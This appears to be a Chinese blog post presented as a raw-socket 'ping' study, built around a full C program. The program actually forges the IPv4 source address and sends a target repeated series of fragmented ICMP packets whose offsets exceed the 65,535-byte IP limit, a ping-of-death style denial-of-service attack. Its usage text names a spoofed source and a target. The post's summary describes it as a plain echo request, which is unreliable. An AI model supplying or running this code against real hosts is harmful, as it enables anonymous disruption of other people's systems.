TCP/IP学习--myping 实作

本文介绍了一个使用原始套接口发送ICMP回显请求的C语言程序示例。该程序展示了如何设置IP_HDRINCL选项来自行构造IPv4头部,并通过sendto函数发送自定义的ICMP数据包。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

 原始套接口提供普通的TCP和UDP套接口不提供的以下3个能力:

    1.进程 可以读与写ICMP,IGMP等分组。

    2.进程可以读与写内核不处理其协议字段的IPv4数据报。

    3.进程可以使用IP_HDRINCL 套接口选项自行构造IPv4头部。

 

下面的简单的tcp row socket 实现,在centos 4 中编译通过


#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netdb.h>
#include <netinet/in.h>
#include <netinet/in_systm.h>
#include <netinet/ip.h>
#include <netinet/ip_icmp.h>
#include <string.h>
#include <arpa/inet.h>

int main(int argc,char *argv[]) {
    int s,i;
    char buf[400];
    struct ip *ip = (struct ip*)buf;
    struct icmphdr *icmp = (struct icmphdr *)(ip + 1);
    struct hostent *hp,*hp2;
    struct sockaddr_in dst;
    int offset,on,num = 100;
    if(argc < 3) {
        printf("/nUsage: %s<saddress><dstaddrress> [number]/n",argv[0]);
        printf("- saddress is the spoofed source address/n");
        printf("- dstaddress is the target/n");
        printf("- number is the number of packets to send, 100 is the default/n");
        exit(1);
    }
    if(argc == 4)
        num = atoi(argv[3]);
    for(i = 1;i <= num; i++) {
        on = 1;
        bzero(buf,sizeof(buf));
        if(( s = socket(AF_INET,SOCK_RAW,IPPROTO_RAW)) < 0) {
            perror("socket() error");
            exit(1);
        }
        if(setsockopt(s,IPPROTO_IP,IP_HDRINCL,&on,sizeof(on)) < 0) {
            perror("setsockopt() for IP_HDRINCL error");
            exit(1);
        }
        if((hp = gethostbyname(argv[2])) == NULL){
            if((ip->ip_dst.s_addr = inet_addr(argv[2])) == -1) {
                fprintf(stderr,"%s:can't resolve,unkown host./n", argv[2]);
                exit(1);
            }
        } else
            bcopy(hp->h_addr_list[0],&ip->ip_dst.s_addr,hp->h_length);
        if((hp2 = gethostbyname(argv[1])) == NULL) {
            if((ip->ip_src.s_addr = inet_addr(argv[1])) == -1) {
                fprintf(stderr,"%s:can't resolve,unkown host/n",argv[1]);
                exit(1);
            }
        } else
            bcopy(hp2->h_addr_list[0],&ip->ip_src.s_addr,hp->h_length);
        printf("Sending to %s from spoofed %s/n",inet_ntoa(ip->ip_dst),argv[1]);
        ip->ip_v = 4;
        ip->ip_hl = sizeof(*ip) >> 2;
        ip->ip_tos = 0;
        ip->ip_len = htons(sizeof(buf));
        ip->ip_id = htons(4321);
        ip->ip_off = htons(0);
        ip->ip_ttl = 255;
        ip->ip_p = 1;
        ip->ip_sum = 0;
        dst.sin_addr = ip->ip_dst;
        dst.sin_family = AF_INET;
       
        icmp->type = ICMP_ECHO;
        icmp->code = 0;
        icmp->checksum = htons(~(ICMP_ECHO << 8));
        for(offset = 0;offset < 65536;offset += (sizeof(buf) -sizeof(*ip))) {
            ip->ip_off = htons(offset >> 3);
            if(offset < 65120)
                ip->ip_off |= htons(0x2000);
            else
                ip->ip_len = htons(418);
            if(sendto(s,buf,sizeof(buf),0,(struct sockaddr *)&dst,sizeof(dst)) < 0) {
                fprintf(stderr,"offset %d:",offset);
                perror("sendto() error");
            } else
                printf("sendto() is ok./n");
            if(offset ==0 ) {
                icmp->type = 0;
                icmp->code = 0;
                icmp->checksum = 0;
            }
        }
        close(s);
        usleep(30000);
    }
    return 0;
}

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值